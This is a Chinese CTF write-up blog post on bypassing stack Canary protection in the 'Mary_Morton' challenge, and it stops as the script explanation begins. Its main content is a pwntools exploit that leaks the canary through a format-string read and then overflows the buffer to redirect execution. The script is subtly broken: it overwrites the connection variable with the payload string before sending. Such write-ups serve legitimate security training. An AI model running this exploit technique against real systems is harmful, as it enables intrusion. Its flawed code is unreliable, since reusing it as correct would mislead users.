buuctf pwn wp（第六波）学会绕过Canary保护

最新推荐文章于 2025-02-26 20:12:43 发布

月阴荒

最新推荐文章于 2025-02-26 20:12:43 发布

阅读量750

点赞数

CC 4.0 BY-SA版权

分类专栏： pwn CTF

本文链接：https://blog.youkuaiyun.com/weixin_43847969/article/details/105048929

CTF 同时被 2 个专栏收录

22 篇文章

订阅专栏

pwn

15 篇文章

订阅专栏

本文深入解析Canary机制在程序安全中的应用，通过攻防世界题目的实战演示，详细阐述了如何确定Canary值的位置及利用技巧。文章提供了一个Python脚本示例，展示如何远程连接目标，获取Canary值，并构造payload进行攻击。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

我在前面已经介绍过关于canary的内容了，所以这里直接引用并附上链接

然后我们照例先看看攻防世界的题目

这道题就是攻防世界进阶区的第一道题，其中点赞数最高的那个wp已经写得很明白了，我们这里只是复盘一下，有兴趣的可以自行去看看。

Mary_Morton

所谓的canary，就是系统会产生一个随机数，在程序的开始和结束给出，如何发生改变，那么程序就会报错退出。
如何确定canary的位置，如图，定义一个变量，在程序结束后返回，就是canary的值
在这里插入图片描述

先看看main

然后我们点开变量buf，位置在0x90位置

而canary在0x08的位置，两者距离为0x88，所以我们的思路就是

from pwn import *
p=remote("111.198.29.45",42124)

system_addr=p64(0x4008de)
p.sendlineafter('\n',2)
p.sendline('%23$p')
p.recvuntil('0x')
ss=p.recv(16)
pp=int(ss,16)
pp=p64(pp)
p.sendline('1')
p='a'*17*8+pp+'a'*8+system_addr
p.sendline(p)
print p.recv()

然后我们来讲解一下这个脚本